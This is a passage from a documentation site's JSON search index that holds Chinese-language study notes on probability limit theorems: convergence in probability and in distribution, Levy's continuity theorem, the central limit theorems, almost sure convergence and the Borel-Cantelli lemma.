\u5927\u6570\u5f8b\u53ef\u5199\u6210</p> \\[ \\frac{S_n}{n} \\xrightarrow{P} p \\] <p>\u4f9d\u6982\u7387\u6536\u655b\u7684\u6027\u8d28</p> \u6781\u9650\u552f\u4e00\u6027\u4f9d\u6982\u7387\u6536\u655b\u7684\u5224\u522b\u6cd5\u5219\u8fd0\u7b97\u6027\u8d28\u8fde\u7eed\u6620\u5c04\u4fdd\u4f9d\u6982\u7387\u6536\u655b <p>\u5982\u679c \\(X_n \\xrightarrow{P} X\\) \u4e14 \\(X_n \\xrightarrow{P} Y\\)\uff0c\u90a3\u4e48 </p> \\[     P(X=Y) = 1 \\] \u8bc1\u660e \\[ \\text{\u8bc1\u660e: \u53ea\u9700\u8bc1\u660e } P(X \\neq Y) = 0. \\text{ \u6ce8\u610f\u5230,} \\] \\[ P(X \\neq Y) = P(|X - Y| &gt; 0) = P(\\cup_{m=1}^{\\infty}\\{ |X - Y| &gt; \\frac{1}{m} \\}) \\] <p>\u56e0\u6b64, \u9700\u8981\u8bc1\u660e\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ P(|X - Y| &gt; \\epsilon) = 0 \\] <p>\u7ed9\u5b9a \\(\\epsilon &gt; 0\\), \u5bf9\u4efb\u610f \\(n \\geqslant 1\\)</p> \\[ P(|X - Y| &gt; \\epsilon) = P(|(X_n - X) - (X_n - Y)| &gt; \\epsilon) \\] \\[ \\leqslant P(|X_n - X| + |X_n - Y| &gt; \\epsilon) \\] <p>\u8fd9\u91cc\u8fd0\u7528\u4e86\u4e09\u89d2\u4e0d\u7b49\u5f0f\uff0c\u5c0f\u7684\u53d1\u751f\uff0c\u5927\u7684\u4e00\u5b9a\u4e5f\u53d1\u751f\uff1b</p> \\[ \\leqslant P(|X_n - X| &gt; \\frac{\\epsilon}{2}) + P(|X_n - Y| &gt; \\frac{\\epsilon}{2}) \\] <p>\u8fd9\u91cc\u662f\u56e0\u4e3a</p> \\[     \\{a+b&gt;c\\} \\subset \\{a&gt;\\frac{c}{2}\\} \\cup \\{b&gt;\\frac{c}{2}\\} \\] <p>\u4ee4 \\(n \\to \\infty\\),</p> \\[ P(|X_n - X| &gt; \\frac{\\epsilon}{2}) \\to 0, \\quad P(|X_n - Y| &gt; \\frac{\\epsilon}{2}) \\to 0 \\] <p>\u56e0\u6b64</p> \\[ P(|X - Y| &gt; \\epsilon) = 0 \\] \\[ \\text{\u56e0\u6b64, } P(X = Y) = 1 \\] <p>\u5982\u679c\u5b58\u5728\u67d0 \\(r &gt; 0\\), \u6210\u7acb</p> \\[ E|X_n - X|^r \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48</p> \\[ X_n \\xrightarrow{P} X \\] <p>\u5982\u679c \\(X_n \\xrightarrow{P} X, Y_n \\xrightarrow{P} Y\\), \u90a3\u4e48</p> <p>(i) \\(X_n \\pm Y_n \\xrightarrow{P} X \\pm Y\\)</p> <p>(ii) \\(X_n \\cdot Y_n \\xrightarrow{P} X \\cdot Y\\)</p> <p>(iii) \u5982\u679c \\(P(Y \\neq 0) = 1\\), \u90a3\u4e48 \\(\\frac{X_n}{Y_n} \\xrightarrow{P} \\frac{X}{Y}\\)</p> <p>\u5047\u8bbe \\(f: \\mathbb{R} \\mapsto \\mathbb{R}\\) \u662f\u8fde\u7eed\u6620\u5c04\uff0c\u5982\u679c \\(X_n \\xrightarrow{P} X\\)\uff0c\u90a3\u4e48</p> \\[ f(X_n) \\xrightarrow{P} f(X) \\] \u8bc1\u660e <p>\u8bbe \\(\\epsilon' &gt; 0\\)\uff0c\u5b58\u5728 \\(M &gt; 0\\)\uff0c\u4f7f\u5f97</p> \\[ P(|\\xi| \\geqslant M) \\leqslant  P(|\\xi| \\geqslant \\frac{M}{2})  \\leqslant \\frac{\\epsilon'}{4} \\] <p>\u7531\u4e8e \\(\\xi_n \\xrightarrow{P} \\xi\\)\uff0c\u6545\u5b58\u5728 \\(N_1 \\geqslant 1\\)\uff0c\u5f53 \\(n \\geqslant N_1\\) \u65f6\uff0c\\(P(|\\xi_n - \\xi| \\geqslant \\frac{M}{2}) \\leqslant \\frac{\\epsilon'}{4}\\)\u3002\u56e0\u6b64</p> \\[ P(|\\xi_n| \\geqslant M) \\leqslant P(|\\xi_n - \\xi| \\geqslant \\frac{M}{2}) + P(|\\xi| \\geqslant \\frac{M}{2}) \\leqslant \\frac{\\epsilon'}{2} \\] <p>\u53c8\u56e0 \\(f(x)\\) \u5728 \\((-\\infty, \\infty)\\) \u4e0a\u8fde\u7eed\uff0c\u4ece\u800c\u5728 \\([-M, M]\\) \u4e0a\u4e00\u81f4\u8fde\u7eed\u3002\u5bf9\u7ed9\u5b9a\u7684 \\(\\epsilon &gt; 0\\)\uff0c\u5b58\u5728 \\(\\delta &gt; 0\\)\uff0c\u5f53 \\(|x - y| &lt; \\delta\\) \u65f6\uff0c\\(|f(x) - f(y)| &lt; \\epsilon\\)\u3002\u8fd9\u6837</p> \\[ P(|f(\\xi_n) - f(\\xi)| \\geqslant \\epsilon) \\leqslant P(|\\xi_n - \\xi| \\geqslant \\delta) + P(|\\xi_n| \\geqslant M) + P(|\\xi| \\geqslant M) \\] <p>\u5bf9\u4e0a\u8ff0\u7684 \\(\\delta\\)\uff0c\u5b58\u5728 \\(N_2 \\geqslant 1\\)\uff0c\u5f53 \\(n \\geqslant N_2\\) \u65f6\uff0c</p> \\[ P(|\\xi_n - \\xi| \\geqslant \\delta) \\leqslant \\frac{\\epsilon'}{4} \\] <p>\u5f53 \\(n \\geqslant \\max(N_1, N_2)\\) \u65f6\uff0c</p> \\[ P(|f(\\xi_n) - f(\\xi)| \\geqslant \\epsilon) \\leqslant \\frac{\\epsilon'}{4} + \\frac{\\epsilon'}{2} + \\frac{\\epsilon'}{4} = \\epsilon' \\]"},{"location":"NOTE/Probability/Fourth/#_4","title":"\u4f9d\u5206\u5e03\u6536\u655b","text":"<p>\u5047\u8bbe \\((\\Omega, \\Sigma, P)\\) \u662f\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\\(F, F_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u76f8\u5e94\u7684\u5206\u5e03\u51fd\u6570\uff0c\u5982\u679c\u5bf9\u4e8e \\(F\\) \u7684\u4efb\u610f\u8fde\u7eed\u70b9 \\(x\\),</p> \\[ F_n(x) \\to F(x), \\quad n \\to \\infty \\] <p>\u79f0 \\(F_n\\) \u4f9d\u5206\u5e03\u6536\u655b\u4e8e \\(F\\)\uff0c\u8bb0 \\(F_n \\xrightarrow{d} F\\) \u6216\u8005 \\(X_n \\xrightarrow{d} X\\)\u3002</p> <p>\u6309\u6b64\u6982\u5ff5\uff0c\u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u53ef\u5199\u6210</p> \\[ \\frac{S_n - np}{\\sqrt{np(1-p)}} \\xrightarrow{d} N(0, 1) \\] <p>Tip</p> <ul> <li> <p>\u5982\u679c \\( F \\) \u662f\u5728 \\(\\mathbb{R}\\) \u4e0a\u8fde\u7eed, \u90a3\u4e48 \\( F_n \\) \u5904\u5904\u6536\u655b\u5230 \\( F \\)</p> </li> <li> <p>\u4e00\u822c\u5730,\\( F \\)\u4e0d\u662f\u8fde\u7eed\u51fd\u6570(\u5de6\u6781\u9650\u5b58\u5728\uff0c\u53f3\u8fde\u7eed\u7684\u51fd\u6570)</p> </li> <li> <p>\u65e2\u7136 \\(F\\) \u662f\u5355\u8c03\u6709\u754c\u51fd\u6570\uff0c\\(F\\) \u7684\u4e0d\u8fde\u7eed\u70b9\u96c6\u6700\u591a\u53ef\u6570\u4e2a\uff1a</p> </li> </ul> \\[   D_F = \\{x : F(x) - F(x-) &gt; 0\\} = \\bigcup_{n=1}^{\\infty} \\left\\{x : F(x) - F(x-) \\geqslant \\frac{1}{n}\\right\\} \\] <ul> <li>\\(F\\) \u7684\u8fde\u7eed\u6027\u70b9\u96c6\u5728 \\(\\mathbb{R}\\) \u4e0a\u7a20\u5bc6\u3002</li> </ul> <p>\u4f9d\u6982\u7387\u6536\u655b\u4e0e\u4f9d\u5206\u5e03\u6536\u655b\u7684\u5173\u7cfb</p> \u4f9d\u6982\u7387\u6536\u655b\u610f\u5473\u7740\u4f9d\u5206\u5e03\u6536\u655b\u4f9d\u5206\u5e03\u6536\u655b\u5e76\u4e0d\u610f\u5473\u7740\u4f9d\u6982\u7387\u6536\u655b\u4f9d\u5206\u5e03\u6536\u655b\u7684\u5224\u522b\u6cd5\u5219 <p>\u8bc1\u660e\u7684\u5173\u952e\u5728\u4e8e\u6784\u9020\u5939\u903c\u9879;</p> <p>\u5982\u679c \\( \\xi_n \\xrightarrow{P} \\xi \\)\uff0c\u90a3\u4e48 \\( \\xi_n \\xrightarrow{d} \\xi \\)</p> <p>\u5047\u8bbe \\(F\\) \u548c \\(F_n\\) \u5206\u522b\u662f \\(\\xi\\) \u548c \\(\\xi_n\\) \u7684\u5206\u5e03\u51fd\u6570\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f\u7ed9\u5b9a \\(\\epsilon &gt; 0\\)\uff0c\u6709</p> \\[     (\\xi \\leqslant x - \\epsilon) = (\\xi \\leqslant x - \\epsilon, \\xi_n \\leqslant x) \\cup (\\xi \\leqslant x - \\epsilon, \\xi_n &gt; x) \\subset (\\xi_n \\leqslant x) \\cup (\\xi_n - \\xi &gt; \\epsilon) \\] <p>\u56e0\u6b64</p> \\[     F(x - \\epsilon) \\leqslant F_n(x) + P(\\xi_n - \\xi &gt; \\epsilon) \\] <p>\u4ee4 \\(n \\to \\infty\\)\uff0c\u7531\u4e8e \\(P(\\xi_n - \\xi &gt; \\epsilon) \\to 0\\)\uff0c\u6240\u4ee5</p> \\[     F(x - \\epsilon) \\leqslant \\inf_{n \\to \\infty} F_n(x)  \\] <p>\u540c\u7406</p> \\[     (\\xi_n \\leqslant x) \\subset (\\xi \\leqslant x + \\epsilon) \\cup (\\xi - \\xi_n &lt; -\\epsilon) \\] <p>\u4ece\u800c</p> \\[     F(x + \\epsilon) \\geqslant \\sup_{n \\to \\infty} F_n(x) \\] <p>\u56e0\u6b64</p> \\[     \\lim_{n \\to \\infty} F_n(x) = F(x) \\] <p>\u4f46\u662f\u5982\u679c \\(X_n \\xrightarrow{d} C\\)\uff0c\u90a3\u4e48 \\(X_n \\xrightarrow{P} C\\)</p> <p>\u5176\u4e2d \\(C\\) \u662f\u5e38\u6570</p> <p>\u5982\u679c \\(\\xi_n \\xrightarrow{d} c\\)\uff0c\u5219</p> \\[ \\lim_{n \\to \\infty} F_n(x) =  \\begin{cases}  0, &amp; x &lt; c, \\\\ 1, &amp; x \\geqslant c. \\end{cases} \\] <p>\u56e0\u6b64\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\)\uff0c\u6709</p> \\[ P(|\\xi_n - c| \\geqslant \\epsilon) = P(\\xi_n \\geqslant c + \\epsilon) + P(\\xi_n \\leqslant c - \\epsilon) \\] \\[ = 1 - P(\\xi_n &lt; c + \\epsilon) + P(\\xi_n \\leqslant c - \\epsilon) \\] \\[ = 1 - F_n(c + \\epsilon - 0) + F_n(c - \\epsilon) \\to 0. \\] <p>\u5b9a\u7406\u8bc1\u6bd5\u3002</p> <ul> <li> <p>Levy \u8fde\u7eed\u6027\u5b9a\u7406:</p> <p>\u5047\u8bbe \\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5177\u6709\u7279\u5f81\u51fd\u6570 \\(\\phi, \\phi_n, n \\geqslant 1\\)\u3002\u90a3\u4e48</p> \\[   X_n \\xrightarrow{d} X \\iff \\phi_n(t) \\to \\phi(t), \\quad t \\in \\mathbb{R} \\] </li> <li> <p>Levy \u8fde\u7eed\u6027\u5b9a\u7406\u7684\u53e6\u4e00\u79cd\u5f62\u5f0f:</p> <p>\u5047\u8bbe \\(X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5177\u6709\u7279\u5f81\u51fd\u6570 \\(\\phi_n, n \\geqslant 1\\)\u3002\u5982\u679c</p> \\[   \\phi_n(t) \\to \\phi(t), \\quad t \\in \\mathbb{R} \\] <p>\u5e76\u4e14 \\(\\phi\\) \u5728 0 \u5904\u8fde\u7eed\uff0c\u90a3\u4e48 \\(\\phi\\) \u4e00\u5b9a\u662f\u7279\u5f81\u51fd\u6570\u3002\u8bb0\u4e0e \\(\\phi\\) \u76f8\u5e94\u7684\u968f\u673a\u53d8\u91cf\u4e3a \\(X\\)\uff0c\u90a3\u4e48</p> \\[   X_n \\xrightarrow{d} X \\] </li> </ul> <p>\u8fd0\u7528Levy\u5b9a\u7406\uff0c\u5982\u679c\u8981\u8bc1\u660e\u4e00\u5217\u968f\u673a\u53d8\u91cf\u4f9d\u5206\u5e03\u6536\u655b\u4e8e\u67d0\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u53ea\u9700\u8981\u8bc1\u660e\u8fd9\u5217\u968f\u673a\u53d8\u91cf\u7684\u7279\u5f81\u51fd\u6570\u6536\u655b\u4e8e\u8be5\u968f\u673a\u53d8\u91cf\u7684\u7279\u5f81\u51fd\u6570\u3002</p> <p>\u5e94\u7528</p> \u8f9b\u94a6\u5927\u6570\u5f8b\u8bc1\u660eLevy-Feller\u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u8bc1\u660e <p>\u56de\u5fc6 \\(\\xi_k, k \\geqslant 1\\) \u72ec\u7acb\u540c\u5206\u5e03\uff0c\\(E\\xi_k = \\mu\\)\uff0c\u90a3\u4e48</p> \\[ \\frac{1}{n} \\sum_{k=1}^{n} \\xi_k \\xrightarrow{p} \\mu \\] <p>\u8bc1\u660e\uff1a\u53ea\u9700\u8bc1\u660e</p> \\[ X_n = \\frac{1}{n} \\sum_{k=1}^{n} \\xi_k \\xrightarrow{d} \\mu \\] \\[ \\iff \\quad \\phi_n(t) = E e^{itX_n} \\to e^{it\\mu} \\] <p>\u5728 0 \u5904\u8fdb\u884c Taylor \u5c55\u5f00\uff0c</p> \\[ E e^{it\\xi_k} = 1 + it\\mu + o\\left(\\frac{1}{n}\\right), \\quad n \\to \\infty \\] <p>\u6240\u4ee5\uff0c\u5bf9\u6bcf\u4e2a \\(t \\in \\mathbb{R}\\),</p> \\[ \\phi_n(t) = \\left(1 + \\frac{it\\mu}{n} + o\\left(\\frac{1}{n}\\right)\\right)^n \\to e^{it\\mu} \\] <p>\u56de\u5fc6 \\(\\xi_k, k \\geqslant 1\\) \u72ec\u7acb\u540c\u5206\u5e03\uff0c\\(E\\xi_k = \\mu, \\operatorname{Var}(\\xi_k) = \\sigma^2\\)\uff0c\u90a3\u4e48</p> \\[ X_n = \\frac{1}{\\sigma \\sqrt{n}} \\sum_{k=1}^{n} (\\xi_k - \\mu) \\xrightarrow{d} N(0, 1) \\] <p>\u8bc1\u660e\uff1a\u53ea\u9700\u8bc1\u660e</p> \\[ \\phi_n(t) = E e^{itX_n} \\to e^{-\\frac{t^2}{2}} \\] <p>\u6ce8\u610f\u5230</p> \\[ E e^{itX_n} = \\left[E e^{i\\frac{t(\\xi_k - \\mu)}{\\sigma \\sqrt{n}}}\\right]^n \\] <p>\u5728 0 \u5904\u8fdb\u884c Taylor \u5c55\u5f00\uff0c</p> \\[ E e^{i\\frac{t(\\xi_k - \\mu)}{\\sigma \\sqrt{n}}} = 1 - \\frac{t^2}{2n} + o\\left(\\frac{1}{n}\\right) \\] <p>\u6240\u4ee5\uff0c\u5bf9\u4efb\u610f \\(t\\),</p> \\[ E e^{itX_n} = \\left[1 - \\frac{t^2}{2n} + o\\left(\\frac{1}{n}\\right)\\right]^n \\to e^{-\\frac{t^2}{2}} \\] <p>\u4f9d\u5206\u5e03\u6536\u655b\u7684\u6027\u8d28</p> <ul> <li> <ul> <li>\u5982\u679c \\(X_n \\xrightarrow{d} X\\)\uff0c\\(a_n,b_n \\rightarrow a,b\\)\uff0c\u90a3\u4e48 \\(a_nX_n + b_n \\xrightarrow{d} aX + b\\)</li> </ul> <p>\u7ebf\u6027\u6027:</p> <ul> <li>\u5982\u679c \\(X_n \\xrightarrow{d} X\\)\uff0c\\(Y_n \\xrightarrow{P} Y\\)\uff0c\u90a3\u4e48 \\(X_n Y_n \\xrightarrow{d} X Y\\)</li> </ul> </li> <li> <p>\u8fde\u7eed\u6620\u5c04\u4fdd\u4f9d\u5206\u5e03\u6536\u655b:</p> <ul> <li>\u5982\u679c \\(X_n \\xrightarrow{d} X\\)\uff0c\u4e14 \\(f: \\mathbb{R} \\mapsto \\mathbb{R}\\) \u662f\u8fde\u7eed\u6620\u5c04\uff0c\u90a3\u4e48 \\(f(X_n) \\xrightarrow{d} f(X)\\)</li> </ul> </li> </ul> <p>Helly\u5f15\u7406</p> <p>\u5047\u8bbe \\(F, F_n, n \\geq 1\\) \u662f\u4e00\u5217\u5206\u5e03\u51fd\u6570\uff0c\u5e76\u4e14 \\(F_n \\xrightarrow{d} F\\)\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f\u6709\u754c\u8fde\u7eed\u51fd\u6570 \\(g\\)</p> \\[ \\int g(x) dF_n(x) \\to \\int g(x) dF(x) \\] <p>\u8fd9\u6837\uff0c\u5bf9\u4efb\u610f \\(t \\in \\mathbb{R}\\),</p> \\[ E e^{itf(X_n)} = \\int e^{itf(x)} dF_n(x) \\] \\[ \\to \\int e^{itf(x)} dF(x) \\] \\[ = E e^{itf(X)} \\] <p>\u7ed3\u8bba\u6210\u7acb</p> \u7ebf\u6027\u6027\u7684\u624b\u5199\u8bc1\u660e <p> \u67e5\u770b</p> <p>\u5fc3\u5f97</p> <p>\u5728\u8bc1\u660e\u8fd9\u4e9b\u6027\u8d28\u65f6\u5e38\u7528\u7684\u653e\u7f29\u6709</p> <ul> <li> <p>\\(P( a &lt; A) \\leqslant P( b &lt; A ) (b&lt;a)\\) \u5927\u7684\u53d1\u751f(\u5c0f\u4e8eA)\uff0c\u5c0f\u7684\u4e00\u5b9a\u4e5f\u53d1\u751f</p> </li> <li> <p>\\(P(a &gt; A) \\leqslant P(b &gt; A) (b &gt; a)\\) \u5c0f\u7684\u53d1\u751f(\u5927\u4e8eA)\uff0c\u5927\u7684\u4e00\u5b9a\u4e5f\u53d1\u751f</p> </li> <li> <p>\\(P(A_n) \\leqslant P(A_n,B_n)+P(A_n,B_n^c)\\),\u81f3\u5c11\u6709\u4e00\u4e2a\u53d1\u751f</p> </li> <li> <p>\\(P(A_n) \\geqslant P(A_n,B_n)\\) \u6761\u4ef6\u52a0\u5f3a\uff0c\u6982\u7387\u53d8\u5c0f,\u53cd\u8fc7\u6765\u4f7f\u7528\u5c31\u662f\u6761\u4ef6\u51cf\u5f31\uff0c\u6982\u7387\u53d8\u5927</p> </li> </ul>"},{"location":"NOTE/Probability/Fourth/#levy-feller","title":"Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406","text":"<ul> <li>Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406</li> </ul> <p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u968f\u673a\u53d8\u91cf\uff0c\\(E\\xi_k = \\mu, \\operatorname{Var}(\\xi_k) = \\sigma^2\\)\u3002\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f \\(x\\),</p> \\[ P\\left( \\frac{S_n - n\\mu}{\\sigma \\sqrt{n}} \\leqslant x \\right) \\to \\Phi(x) \\] <p>\u5373</p> \\[ \\frac{S_n - n\\mu}{\\sigma \\sqrt{n}} \\xrightarrow{d} N(0, 1) \\] <p>Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u7684\u610f\u4e49</p> <ul> <li> <p>\u5e94\u7528\u4e8e\u4e00\u822c\u968f\u673a\u53d8\u91cf\uff0c\u63a8\u5e7f\u4e86 de Moivre-Laplace \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u3002</p> </li> <li> <p>\u8bf4\u660e\u6d4b\u91cf\u8bef\u5dee\u53ef\u7528\u6b63\u6001\u5206\u5e03\u63cf\u8ff0\uff0c\u5373\u6b63\u6001\u5206\u5e03\u65e0\u5904\u4e0d\u5728\u3002</p> </li> </ul> <p>\u5047\u8bbe\u6d4b\u91cf\u503c\u4e3a \\(X_i\\)\uff0c\u771f\u503c\u4e3a \\(\\mu\\)\u3002\u6bcf\u6b21\u8bef\u5dee\u4e3a \\(X_i - \\mu\\)\uff0c\\(n\\) \u6b21\u89c2\u6d4b\u6240\u5f97\u8bef\u5dee\u53e0\u52a0\uff0c\u8bb0\u4e3a \\(\\sum_{i=1}^{n}(X_i - \\mu)\\)\u3002\u90a3\u4e48</p> \\[ \\sum_{i=1}^{n}(X_i - \\mu) \\sim N(0, n\\sigma^2), \\quad n \\gg 1 \\]"},{"location":"NOTE/Probability/Fourth/#lyapunov","title":"Lyapunov \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406","text":"<p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u968f\u673a\u53d8\u91cf\u4e0d\u4e00\u5b9a\u540c\u5206\u5e03\uff0c\\(E\\xi_k = \\mu_k\\)\uff0c\\(\\operatorname{Var}(\\xi_k) = \\sigma_k^2\\)\u3002\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\\(B_n = \\sum_{k=1}^{n} \\sigma_k^2\\)\u3002\u5982\u679c</p> <ol> <li>\\(B_n \\to \\infty\\)</li> <li>\\(E|\\xi_k|^3 &lt; \\infty\\)\uff0c\u4e14</li> </ol> \\[ \\frac{1}{B_n^{3/2}} \\sum_{k=1}^{n} E|\\xi_k - \\mu_k|^3 \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u5bf9\u4efb\u610f \\(x\\)</p> \\[ P\\left(\\frac{\\sum_{k=1}^{n} (\\xi_k - \\mu_k)}{\\sqrt{B_n}} \\leqslant x\\right) \\to \\Phi(x) \\] <p>\u5373</p> \\[ \\frac{\\sum_{k=1}^{n} (\\xi_k - \\mu_k)}{\\sqrt{B_n}} \\xrightarrow{d} N(0, 1) \\] <p>Lyapunov \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u7684\u610f\u4e49</p> <ul> <li> <p>\u63a8\u5e7f\u4e86 Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u3002</p> </li> <li> <p>\u89e3\u51b3\u4e86\u4e0d\u540c\u5206\u5e03\u7684\u968f\u673a\u53d8\u91cf\u548c\u7684\u4e2d\u5fc3\u6781\u9650\u95ee\u9898\u3002</p> </li> <li> <p>Lyapunov  \u6761\u4ef6\u53ef\u4ee5\u63a8\u51fa Lindeberg \u6761\u4ef6</p> </li> </ul> <p>Lindeberg \u6761\u4ef6</p> <p>\u5047\u8bbe \\(\\{\\xi_n\\}\\) \u662f\u72ec\u7acb\u968f\u673a\u53d8\u91cf\u5e8f\u5217\uff0c\\(F_k\\) \u4e3a\u5bf9\u5e94\u5206\u5e03\u51fd\u6570\uff0c\u4e14\u6bcf\u4e2a\u53d8\u91cf\u6709\u6709\u9650\u671f\u671b\u548c\u65b9\u5dee \\(a_k, \\sigma_k^2\\)\u3002</p> <p>\u8bb0 \\(B_n^2 = \\sum_{k=1}^{n} \\sigma_k^2\\)\u3002</p> <p>Lindeberg \u6761\u4ef6\u4e3a\uff1a</p> \\[ \\lim_{n \\to \\infty} \\frac{1}{B_n^2} \\sum_{k=1}^{n} \\int_{|x-a_k| \\geq \\epsilon B_n} (x-a_k)^2 dF_k(x) = 0 \\]"},{"location":"NOTE/Probability/Fourth/#_5","title":"\u51e0\u4e4e\u5904\u5904\u6536\u655b","text":"<p>\u51e0\u4e4e\u5904\u5904\u6536\u655b</p> <ul> <li>\u5904\u5904\u6536\u655b: \u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5982\u679c\u5bf9\u6bcf\u4e2a \\(\\omega \\in \\Omega\\),</li> </ul> \\[   X_n(\\omega) \\to X(\\omega), \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u79f0 \\(X_n\\) \u5904\u5904\u6536\u655b\u4e8e \\(X\\)\u3002</p> <ul> <li>\u51e0\u4e4e\u5904\u5904\u6536\u655b: \u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5982\u679c\u5b58\u5728 \\(\\Omega_0 \\subset \\Omega\\) \u4f7f\u5f97</li> </ul> <p>(i) \\(P(\\Omega_0) = 0\\)</p> <p>(ii) \u5bf9\u6bcf\u4e2a \\(\\omega \\in \\Omega \\setminus \\Omega_0\\),</p> \\[   X_n(\\omega) \\to X(\\omega), \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u79f0 \\(X_n\\) \u51e0\u4e4e\u5904\u5904\u6536\u655b\u4e8e \\(X\\)\uff0c\u8bb0\u505a \\(X_n \\to X, a.s.\\)\u3002</p> <p>\u5373\u9664\u4e00\u4e2a\u96f6\u6982\u7387\u4e8b\u4ef6\u5916\uff0c\\(X_n\\) \u5904\u5904\u6536\u655b\u4e8e \\(X\\)\u3002</p> <p>Quote</p> <p>\u5bf9\u4e8e\u51e0\u4e4e\u5904\u5904\u6536\u655b\u548c\u4f9d\u6982\u7387\u6536\u655b\uff0c\u4e24\u8005\u7684\u533a\u522b\u662f\u4f9d\u6982\u7387\u6536\u655b\u5148\u8ba1\u7b97\u6982\u7387\uff0c\u518d\u8981\u6c42\u6982\u7387\u4e3a1\uff0c\u800c\u51e0\u4e4e\u5904\u5904\u6536\u655b\u8981\u6c42\u6bcf\u4e00\u4e2a\u6837\u672c\u7a7a\u95f4\u7684\u70b9\u7684\u6620\u5c04\u90fd\u6536\u655b\u3002</p> <p>\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0\u51e0\u4e4e\u5904\u5904\u6536\u655b\u4e0e\u4f9d\u6982\u7387\u6536\u655b\u7684\u533a\u522b</p>"},{"location":"NOTE/Probability/Fourth/#_6","title":"\u51e0\u4e4e\u5904\u5904\u6536\u655b\u7684\u5224\u522b\u6cd5\u5219","text":"<p>\\(X_n \\to X, \\ a.s.\\)</p> <p>\u5f53\u4e14\u4ec5\u5f53\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ P\\left(\\bigcap_{N=1}^{\\infty} \\bigcup_{n=N}^{\\infty} \\{|X_n(\\omega) - X(\\omega)| &gt; \\epsilon\\}\\right) = 0 \\] <p>\u6216\u8005\u8bf4</p> \\[ P(\\{|X_n(\\omega) - X(\\omega)| &gt; \\epsilon\\}, \\ i.o.) = 0(i.o.\u8868\u793a\u65e0\u9650\u6b21) \\] <p>\u7b49\u4ef7\u5730, \u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ \\lim_{N \\to \\infty} P\\left(\\bigcup_{n=N}^{\\infty} \\{|X_n(\\omega) - X(\\omega)| &gt; \\epsilon\\}\\right) = 0 \\] <p>\u7531\u6b64, \u4e5f\u53ef\u770b\u51fa\u51e0\u4e4e\u5904\u5904\u6536\u655b\u6bd4\u4f9d\u6982\u7387\u6536\u655b\u5f3a\u3002</p> <p>\u8fd9\u4e00\u90e8\u5206\u7684\u63a8\u5bfc\u6bd4\u8f83\u7e41\u7410,\u8fd9\u91cc\u5c31\u4e0d\u6572\u4e0a\u6765\u4e86,\u76f4\u63a5\u9644\u4e0a\u6211\u7684\u624b\u5199\u7248,\u52ff\u602a</p> \u5bf9\u4e8e\u5f0f\u5b50\u7684\u7406\u89e3"},{"location":"NOTE/Probability/Fourth/#borel-cantelli","title":"Borel-Cantelli \u5f15\u7406","text":"<ul> <li>\u5047\u8bbe \\(A_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u4e8b\u4ef6\uff0c\u5982\u679c</li> </ul> \\[ \\sum_{n=1}^{\\infty} P(A_n) &lt; \\infty \\] <p>\u90a3\u4e48</p> \\[ P(A_n, i.o.) = 0 \\] <p>\u8bc1\u660e\uff1a</p> \\[ P(A_n, i.o.) =P(\\bigcap_{N=1}^{\\infty} \\bigcup_{n=N}^{\\infty} A_n) =\\lim_{N \\to \\infty} P\\left(\\bigcup_{n=N}^{\\infty} A_n\\right)(\\text{\u8fde\u7eed\u6027}) \\] \\[ P\\left(\\bigcup_{n=N}^{\\infty} A_n\\right) \\leqslant \\sum_{n=N}^{\\infty} P(A_n) \\to 0(\\text{\u6b21\u53ef\u52a0\u6027\u52a0Cauchy\u6536\u655b}) \\] <ul> <li>\u5047\u8bbe \\(A_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u4e8b\u4ef6\uff0c\u5982\u679c</li> </ul> \\[ \\sum_{n=1}^{\\infty} P(A_n) = \\infty \\] <p>\u90a3\u4e48</p> \\[ P(A_n, i.o.) = 1 \\] <p>\u8bc1\u660e\uff1a\u7531\u4e8e \\(A_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u4e8b\u4ef6\uff0c\u90a3\u4e48</p> 